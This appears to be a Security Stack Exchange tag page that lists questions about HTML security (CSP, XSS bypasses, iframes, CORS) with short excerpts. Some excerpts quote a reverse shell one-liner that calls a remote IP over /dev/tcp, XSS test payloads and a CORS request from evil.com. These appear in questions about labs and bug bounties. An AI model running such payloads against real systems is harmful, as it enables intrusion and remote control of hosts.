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Questions tagged [html]

HTML (HyperText Markup Language) is a language used to create web pages using tags inline with the content to indicate to browsers how to display that content, using the tags to interpret formatting, images, scripts and other content.

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Bypassing CSP and implementing XSS attack

I am using Content Security Policy (CSP) rules in my code to defend against XSS attacks. Here are the CSP rules I have implemented using Helmet: .use( helmet.contentSecurityPolicy({ directives: { ...
EPiez's user avatar
  • 13
0 votes
1 answer
78 views

Is it possible to disable or change sec-fetch-* HTTP headers?

I might have found a way to highjack an Oauth Flow, but the source server is responding with 403 errors when the Oauth request is sent with a Sec-Fetch-Dest HTTP header. Is there a way to alter or ...
user2284570's user avatar
  • 1,472
2 votes
1 answer
140 views

Secure way to output encoding HTML for insert raw html via javascript

I want to be 100% secure, I create raw html this way: const template = document.createElement('template') template.innerHTML = html_raw const cloned = template.content.cloneNode(true) document....
The nothing's user avatar
21 votes
6 answers
11k views

Are Cyrillic characters a real threat?

I've seen people in security saying URLs with Cyrillic characters are dangerous. If you ever type such characters on a browser you'd see they break into crazy unrecognizable URLs that have nothing to ...
Gatonito's user avatar
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0 answers
90 views

XSS Bypass Whitelist

I found a HTML injection on a markdown although it seems odd as the user already can use html in the box So I tried to turn it to XSS but after a day with trial and error I concluded that the website ...
ELMO's user avatar
  • 111
0 votes
1 answer
109 views

Obfuscated HTML [closed]

I'm looking at a potential phishing site and I see that some of the HTML is obfuscated. It's not Base64. All the links look like this: <link href="6bkaQeQe69e/st-...
Robert909's user avatar
1 vote
0 answers
78 views

How to use html encoded characters to perform XSS?

I am trying to perform XSS but to get out of the context and write the payload I need to use Angle brackets and the angle brackets are html encoded. I tried double encoding technique with url encoding+...
Riaz Rabia's user avatar
0 votes
0 answers
113 views

unsafe-hashes an alternatives

I need to run the following inline script to inject some Thymeleaf model variables into a javascript file of mine. <script th:inline="javascript"> /*<![CDATA[*/ var ...
Shaunyl's user avatar
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1 answer
836 views

Why can't we close some tags for cross site scripting purposes?

There's a webstore that i am trying to find a XSS vulnerability for BUG BOUNTY. On that store is a search bar that i can send anything https://www.examplestore.com/blog/?s=</title><script>...
Victor Lucas Mazzotti's user avatar
1 vote
1 answer
132 views

Which response headers for HTML snippets?

I have a web application that retrieves HTML snippets from the server and places them on the page, using JavaScript. The server responds with a small part of a HTML document. What Content-Type header ...
Sjoerd's user avatar
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1 vote
0 answers
250 views

HTML tags converting into entity characters in XSS [closed]

When I type xss in a search box, it's reflecting and when I inspect it, it's showing as <h1>Search results for: xss</h1>. So I tried to inject script <img src=x onerror=alert(1)> and ...
Noob Hunter's user avatar
0 votes
2 answers
340 views

What are the risks of XSS in this forms?

I recently developed a website that was operational for me ^^ However, someone came to try injections and found an XSS flaw. I have a form like this: <h2> <span>Search</span> </...
Lynow's user avatar
  • 1
0 votes
1 answer
792 views

Vulnerabilities in img src

It is known that in modern browsers you can't run XSS in img src(assuming quotes are escaped), because neither javascript: protocol, nor svg will execute the code. But does it mean that trusted data ...
The Modern Gamer's user avatar
0 votes
1 answer
306 views

Can you have an <iframe> tag with no spaces?

I am looking to figure out how to create an iFrame tag without any spaces. I have found an input on a Bug Bounty program that reflects my input back into the page, and allows me to escape double ...
ex7lted's user avatar
  • 50
1 vote
1 answer
3k views

"One of your code blocks includes unescaped HTML." JS console security warning

I operate a blog using Google's Blogger platform about programming. I use highlight.js for syntax highlighting, and now on my posts I see the console warning: One of your code blocks includes ...
christian_js's user avatar
1 vote
1 answer
147 views

Risk of injecting a malicious script/code?

I was was inspecting elements in a website and I randomly stumbled onto this piece of code . </style><meta name="add-styles-here"/><meta name="add-scripts-here"/>&...
Zorghost's user avatar
1 vote
0 answers
263 views

Need for URL encoding in XSS / CORS lab

I am doing one of Portswigger's labs on web security, specifically CORS (cross origin resource sharing). I am having trouble understanding why there is a need for URL encoding certain parts of the XSS ...
Voyyce's user avatar
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0 votes
2 answers
576 views

Parameter vulnerable for HTML injection but cannot exploit because of URL encoding

I found a HTML injection vulnerability but there is an issue. The following request returns the following: curl "https://redacted.com/xss/para?meter="><h1>Test\</h1>"<...
Ugroon's user avatar
  • 11
2 votes
1 answer
2k views

WSS protocol vs HTTPS protocol as an iframe embedded source in a web page

until recently, I've been embedding a chatbot service from a different/external site with an iframe tag. it's a paid service, not a free one. today I saw that they changed a few urls, swithing from &...
rami300's user avatar
  • 160
0 votes
1 answer
175 views

Should API keys, even for free services, be visible in a page's source?

I sometimes see API keys in page sources, such as the following: <span class="nf">init</span><span class="p">(</span><span class="nv">...
Sam11111111's user avatar
1 vote
1 answer
2k views

What are the security concerns of embedding Base64-encoded images into an HTML document?

We are developing an MVC web-application in Django and having concerns about image uploading. First of all, here are our business requirements: Our users can upload images (like profile pictures, etc)...
salazar324's user avatar
1 vote
1 answer
895 views

XSS - Anyway to bypass double quotes in href of anchor?

I have an anchor that has href attribute populated by my input. I am trying to input javascript, but it always renders it useless since it always appears between double quotes. So far, I have tried ...
PradyumanDixit's user avatar
1 vote
1 answer
1k views

Can javascript from parent page read url of popup window?

Lets say I'll open a third party page from the parent page using window.open(popup method) Now what I want to know is there any way where the parent page(using javascript or any third party library) ...
John's user avatar
  • 11
-1 votes
1 answer
1k views

CORS attack using authentication token [closed]

I found a website which is vulnerable to cors.(https://portswigger.net/web-security/cors) GET /api/requestApiKey HTTP/1.1. Host: vulnerable-website.com. Origin: https://evil.com. AUTHENTICATION: ...
Cyber World's user avatar
2 votes
1 answer
537 views

Website with embedded PDFs and JavaScript for Acrobat

Context On my website, users can upload their PDF files, and then some, other users can view the uploaded PDF files. I was wondering if this could come with security issues. The uploaded PDF are ...
SitAmet's user avatar
  • 21
2 votes
1 answer
296 views

What sandbox does an <object> element run in? Can this sandbox be configured?

I run a site that displays user-generated SVGs. They are untrusted, so they need to be sandboxed. I currently embed these SVGs using <object> elements. (Unlike <img>, this allows loading ...
jameshfisher's user avatar
0 votes
0 answers
248 views

sh reverse shell used to work as of an hour ago but nowthe server returns 500 Internal Server Error. Please take a look at my GET request and response

This is the reverse shell I'm using: sh -i >& /dev/tcp/10.10.14.106/3000 0>&1 and URL encoded is sh+-i+>%26+/dev/tcp/10.10.XX.XX/3000+0>%261+ It used to work just fine and I'd ...
nullbyte's user avatar
0 votes
2 answers
5k views

Can an HTML attachment in an email contain a virus?

I received an email from an old colleague asking me to take a look at an attachment. The email didn’t seem suspicious at all, it contained all the right logos, etc. When I opened the attachment it ...
Mangoandkiwi's user avatar
0 votes
2 answers
847 views

XSS payloads getting filtered but HTML tags are getting rendered. Can we exploit this? [duplicate]

I was trying to test a potential XSS vulnerability on a website. On the search bar I can see the filtering process happening i.e if I type script> (not with starting <) I can see the same in the ...
Alpha Numeric's user avatar
0 votes
0 answers
166 views

What is the possible impact of inserting user input into image src?

A website takes user input and pass into img src. What is the possible impact that I can do with it? <img src="https://website.com/static/{user-input}"> I did think of some options: ...
trieulieuf9's user avatar
1 vote
2 answers
483 views

abiliity to change elements in HubSpot iFrame forms

I recently started working on adding custom code to HubSpot forms after their form is loaded via an iFrame. Initially, I was using the following code to access the iFrame to change it: var form = ...
Pshivvy's user avatar
  • 113
0 votes
0 answers
101 views

Static Content Security

I have some static content HTML in a cloud storage space/ CDN. How can I serve this only to authenticated users? I am planning to use these static content on edx platforms. How can I securely ...
Dashin's user avatar
  • 1
0 votes
0 answers
118 views

Taking html, js, css input from the user

We are building a multitenancy web app with Laravel (+Blade), each user can create a store (tenancy), and have a control panel where they can edit the store settings and styling, to edit the store ...
RedZ's user avatar
  • 101
2 votes
0 answers
192 views

Does Windows Server ship with any sensitive images in the filesystem?

I'm working with an interesting vulnerability I found which enables local file inclusion (LFI) on a target server. In summary, there is a PDF generation API endpoint which accepts an HTML string as ...
Daniel's user avatar
  • 21
0 votes
1 answer
2k views

Could there be malware in a video on twitter? [duplicate]

I don't know anything about security. I want to download the videos I like from twitter. And I'm not going to do it by writing a program. I will manually find the necessary link in the html document ...
FishTuna's user avatar
4 votes
1 answer
464 views

Mitigation for Insecure Deserialization

I'm trying to look for some way for mitigation of insecure deserialization vulnerability for the application front-end Then I found this link https://blog.jscrambler.com/exploring-the-owasp-top-10-by-...
user avatar
1 vote
0 answers
112 views

Security implications of an HTTP POST endpoint that accepts arbitrary HTML and returns it back

For generating PDFs in our web application we have a simple service that accepts a chunk of HTML from the client, wraps it in a standard template, does a couple of simple transforms (like replacing ...
SystemParadox's user avatar
0 votes
1 answer
308 views

Is there malicous HTML?

I'm writing a chrome extension that evaluates certain code blocks from GitHub pages, e.g., Lorem ipsum ```html-embed <iframe></iframe> ``` dolor site amet. and adds their content as HTML ...
Nico Schlömer's user avatar
1 vote
1 answer
2k views

Bypass input validation

I'm trying to create a vulnerable sandbox environment for pentesting challenges. As part of the challenge, I want to include some elements of XSS or SQLi if possible. However, I do not wish to make ...
CBCH's user avatar
  • 15
0 votes
1 answer
595 views

XSS Payloads: <script> vs javascript:

Hello I was experimenting with XSS payloads and couldn't help wonder the syntax for javascript:alert(0) The most basic payload for XSS makes sense, since the tag is used for JavaScript in HTML. <...
letsplayrust5346's user avatar
0 votes
1 answer
240 views

Can display a GIF in <img> tag causing Client-side DOS

SVG image can be used in DOS user browser with billion laugh attack. Can we do the same with other image types? especially GIF? Thanks everyone.
trieulieuf9's user avatar
2 votes
1 answer
226 views

Is an XSS attack possible under these constraints?

The output is: <img src="http://example.com/[input]" oncontextmenu="openUrl('http://example.com/[input]')"> Where [input] is the user input, which is sanitised through this ...
Yousef Amar's user avatar
0 votes
1 answer
694 views

Principally, is input type="text" instead input type="url" a security problem for "website" form fields?

I have a simple HTML-PHP-CSS contact form (no JavaScript) with some trivial fields sent via PHP's mail() function. One of the fields is "website" field in which a user should input a website ...
timesharer's user avatar
1 vote
1 answer
2k views

for reCaptcha, the token needs to be sent to backend for validation right?

So far, I have reCAPTCHA setup in the "submit" button for my login form with v2 Invisible recAPTCHA. But, I have a feeling that the token that I retrieve from Google needs to be sent to my ...
Luke Zhang's user avatar
2 votes
3 answers
203 views

Protecting bare text / link email address published in a website

I have an all-core MediaWiki website; no addons, no forms besides a login form (not even a contact us form); the MediaWiki installation is continuously upgraded and everything is quite minimal and ...
justahumbleasker's user avatar
0 votes
0 answers
30 views

Whats wrong with this XSS vector? [duplicate]

Payload: <DIV STYLE="background-image: url(javascript:alert('XSS'))"> Reference: http://seguretat.wiki.uoc.edu/index.php/XSS_Cheat_Sheet Can someone please explain why this payload is ...
Arun Joseph's user avatar
6 votes
1 answer
2k views

using rel="noreferer" without rel="noopener" or without target="_blank"

I have been reading about the security and performance implications of rel="noopener" and rel="noreferrer" in links with target="_blank". These are some of the ...
gaurav5430's user avatar
0 votes
2 answers
502 views

Can converting a virus-infected webpage to PDF format still contain viruses [closed]

So I know that PDF files can contain viruses themselves if they are target specifically for that purpose. However, my question for here is this: If a webpage that has some malicious scripts or a virus ...
elypros's user avatar
0 votes
2 answers
354 views

DataURL Browser Cache Security Implications

What are the security implications that come with loading an image in dataURL format <img src="dataURL" />? After signing into my website the browser loads an image in dataURL format ...
now_world's user avatar
  • 125
0 votes
0 answers
129 views

Understanding the Webview (html) code coming from the server

I am using an Android app downloaded from playstore and wanted to know whether the app uses Webview. So, I tried intercepting the network calls with the help of Charles (proxy) and I found out that ...
Nikhil_Coder's user avatar

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